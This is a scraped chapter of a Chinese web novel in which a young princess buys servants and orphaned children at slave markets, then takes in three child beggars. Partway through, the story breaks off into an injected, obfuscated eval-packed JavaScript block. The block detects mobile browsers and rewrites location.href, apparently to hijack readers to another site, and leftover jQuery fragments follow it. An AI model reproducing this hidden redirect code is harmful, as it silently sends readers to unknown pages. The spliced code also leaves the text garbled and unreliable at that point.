5. 第5章

作品:《谁把龙袍披朕身上了(基建)

    梁年回家的之时,本来疲惫的身躯在听到林肆来过以后,瞬间警觉。


    “她来做什么。”梁年对左莜问道。


    “她说想让我帮忙买些家奴。”左莜如实交代。


    但是随后又补充道:“她还问了我平时在府里做什么,我说看书,然后她的眼神就变得很奇怪。”


    左莜最终还是没有将摇娘的形容说不出来。


    她也是要面子的好吗。


    “就这些,就没了?”梁年垂下眼睫,思考道。


    县主府现在确实只有十来个人伺候,她要买人的理由很充分,她初来乍到,人生地不熟,求助于阿娘的更是让人挑不出毛病。


    “没了。”左莜现在和梁年一样,对于这位安平县主只想敬而远之。


    “那阿娘可问了她要买什么样的家奴?”


    左莜尴尬的摸了摸脸,“她没说,她说让我陪她去施州买。”


    “买个家奴而已,她还要亲自挑选?”梁年的表情更奇怪了。


    “谁知道呢,我们也不知道她在想什么。”


    *


    七天时间转瞬即逝,左莜坐在牛车里,看着车上的瓜果点心,心情复杂。


    自己为什么要准备这些东西,她一个县主什么果子没吃过。


    算了,她一个十岁的小孩子,正是爱吃瓜果点心的时候。


    左莜安慰自己。


    前两日,左莜特地托了人去县主府带话,说是所有东西包括路引都已准备齐全。


    林肆今日简单梳妆,只发髻上缠了彩色的发带,带了春意以及南双南乔,当然,还有钱。


    牛车缓缓行驶,林肆伸手拿起一个林檎,“左娘子准备的周到,这几日辛苦左娘子了。”


    但左莜一看到林肆,就想起摇娘的话,不适感又涌上心头。


    牛车的颠簸并没有损失林肆的好心情,牛车一路顺利抵达施州,摇娘递上路引,牛车被顺利放行。


    林肆看了一眼施州的城建,没什么太大的兴趣,只想快些到牙行去。


    大宸的牙行分为官牙和私牙,官牙多数是自愿卖身的百姓,以及一些罪犯家属,但私牙的人口来源就说不准。


    左莜的首选是官方且正规的官牙。


    马车刚在官牙门口停下,立刻就有牙行的人热情的迎了上来,林肆跟在左莜身后下车,牙行的人赔笑道。


    “两位女郎要男奴还是女奴?”


    左莜说道:“男奴女奴都要,将你们的行契给我看看。”


    牙行将林肆与左莜引进一个房间内,又奉上些茶水,这两人一看就是大主顾,尤其这位小女郎,虽颜色朴素,但却是上好的料子,就连头上的发带,也是用丝帛织成的。


    左莜本来是站着的,她突然想起林肆的身高,于是坐下,和林肆一起看行契。


    林肆一一扫过,行契更像是一本登记册,上面记录了奴隶的基本情况,如名字,家庭情况,为何为奴,还有擅长什么。


    林肆挨个看下去,在看到某一个名字的时候,愣神了几秒。


    祝时溪,年十四,罪犯家属,识字,通医术。


    林肆的脑子转的飞快,祝时溪在原著中也是男主的后宫,家中世代任职御医,因卷入朝堂争斗而全家下狱。


    祝时溪也因此沦为罪奴,辗转被卖多次,在男主一次受伤逃进某位富商府中之时,祝时溪救了他。


    而后祝时溪就跟在男主身边,替他和他的兄弟们治病疗伤,任劳任怨。


    以林肆对傲天爽文的了解来看,男主的就是最好的。


    抢了。


    要是卓正初在没有祝时溪的情况下受伤死掉那就更好了。


    林肆又选了一些厨娘,家丁,车夫,婢女。


    牙行又把人带上来相看,林肆的一眼就看到了站在边缘的祝时溪,她身着麻衣,低垂着头。


    好好好,就是那个自卑配不上男主的祝时溪没错了。


    左莜又将那几个厨娘家丁以及粗使婢女仔细的看了看,没有什么大问题,人瞧着也都安分。


    祝时溪一直不敢抬头,被训斥道。


    “低着个头做什么,还不抬起来让主家看看。”


    祝时溪这才小心翼翼的抬起头,她好奇的打量着左莜和林肆。


    林肆淡淡点头,“就这几个吧。”


    牙行的人喜笑颜开的将人带了出去。又这几个人的身契书拿了出来,又拿出官府出具的公验书,“您瞧,这是公验书,这几个人来源绝对没问题,我们这是官行,不会逼人为奴,不比那些私行,您可不会惹上麻烦事。”


    林肆这时又问,“有孩童吗,孤儿最好,年岁不要超过十岁。”


    牙行最聪明的一点就是不会多问,不管买主提的要求有多奇怪,他们绝对不会多问一句。


    “有孩童,但父母双亡的少了些,我将行契拿过来您瞧瞧。”


    左莜的神色变了变,她低声问,“县主要孩童做什么?”


    林肆眨了眨眼睛,无辜道:“左娘子,我得培养一些忠心的家生奴,家生奴用的安心啊,半道来的我总是不放心。”


    左莜被噎住,这位县主总是将理由说的让人无法反驳。


    孩童本就不多,符合林肆父母双亡条件的更是稀缺。


    这几个孩子年纪比林肆还要小,长期的营养不良让他们显得十分瘦弱,除了其中一个。


    比起方才买的家奴,林肆对这几个孩子更为上心。


    南双和南乔得了林肆的眼神,一个个去将那几个孩子的脸掰起来给林肆看。


    林肆指了指一个被掰起脸,眼神十分凶恶,而且比一般的孩子身形也要大些,长相看起来也不舒服,可行契上写他才八岁。


    林肆:哪儿来的超雄。


    “这个不要。”


    林肆和牙行签好了买卖文书,付了钱,表示一会过来拿货。


    刚上牛车,林肆开口:“我要去私行。”


    左莜的眼皮子跳了跳,“县主还要去私行买什么。”


    “买孩童。”


    左莜无奈,只得陪同,私行的孩童比官行的就要多些,林肆还是老样子,只要父母双亡的,随后又一一南双掰脸来看。


    私行的人还以为左莜有什么特殊爱好,一定要看脸。


    林肆只是想简单筛除一下一些天生就坏的孩子,虽说掰脸这个动作特别不尊重人,正常的孩子会害怕,会愤怒,还有从前家境不错的孩子会感到羞辱,但在官行那个孩子眼神那么怨毒的,明显根就是坏的。


    陪着林肆终于将人买完,左莜这才觉得放松,官行和私行都需要准备文书,左莜提议去樊楼吃个饭,


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15374210|168267||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    这样官行和私行的文书差不多正好弄完。


    林肆点了点头,伸手撩开牛车的窗帘,无所事事的看着窗外。


    马路的角落,一个身形小巧,身卓娄烂麻衣的小娘子一双眼睛灵活的转了转,只见她低着头,熟练的撞到了一个身着锦衣的郎君上,随后到底不起,一脸痛苦。


    “好....好痛。”


    富家郎君眉头一皱,“哪来的不长眼的小乞丐,滚一边去。”


    这时,藏在另一个角落的小少男惊呼,“这,这是谁家的郎君撞了人还骂人,大家快来看啊。”


    瞬间就有几个百姓好奇的看了过来,那郎君见状,随手丢了十来个铜板,“真是晦气,拿着快滚。”


    林肆伸手托腮,有预谋的碰瓷,玩的还炉火纯青,这两个小乞丐还挺有意思的。


    那个小女孩演技爆炸,一边哭一边捡钱,倒真是一副受害者的样子,随后还装作一瘸一拐的样子离开,而那个起哄的小少男则是警惕的跟在她身后。


    林肆来了兴趣,不顾左莜和春意的阻止,带着帷帽和南双和南乔下了马车。


    两个孩子刚走进巷子,就被几个地痞围住,“刚才看到你们捡钱了,两个臭乞丐,还不把刚才的十几文钱拿出来。”


    二人护钱,转头就跑,但是小孩子的腿短,哪里比的过成人。


    到了死胡同,两个孩子无路可退,林肆看了南乔一眼,南乔立刻心领神会,冲上前去扇了地痞好几巴掌,将他们扇的晕头转向,随后又是几脚踢的他们跪地不起。


    “哪里来的蠢货,脏了我家贵主的眼,不想死就快滚。”


    两个地痞哪里被人这般暴打过,而且还是一个力气超大的女郎,只以为惹到了什么大人物,瞬间爬走。


    两个乞丐不知什么情况,直接被南乔拦住。


    林肆隔着帷帽问,“你们二人平时就以坑蒙拐骗为生?”


    小少男率先憋不住,“这这才不是坑蒙拐骗,是印儿病的严重,我们没有钱买药,地厌才让我们这么做的,方才那个郎君才不是什么好人!”


    林肆捕捉到了重点,“地厌是谁,是他让你们这么做的?他多大了。”


    “地厌就是地厌,他今年七岁了,比我们大一岁,你到底想问什么。”


    林肆胁迫这两个乞丐把她带到了他们的根据地。


    说是根据地都有些勉强,就是一处破茅草屋,房顶还在漏风的那种。


    钟地厌将一块干净一些的帕子打湿,放在面前的小女孩额头上。


    听到脚步声,他立刻就断定是郭自和郭寒回来了,但不对,还有别的脚步声。


    等他想要抱着面前的小女孩躲起来的时候,已经来不及了。


    他面前站着一个身着罗衣的,带着帷帽的小女郎,对方身后有两个强壮婢女。


    林肆居高临下地问,“你就是他们二人口中的地厌?”


    钟地厌一秒分析情况,开口,“是....还望女郎消气,他们二人是受我胁迫.....”


    话还未说完,林肆就打断他。


    “你们想救这个小娘子是吗。”


    躺在枯草上的女孩看样子也就三四岁,一张小脸烧的通红。


    林肆伸出手,指着钟地厌说道。


    “你带着他们跟我走,我就救她。”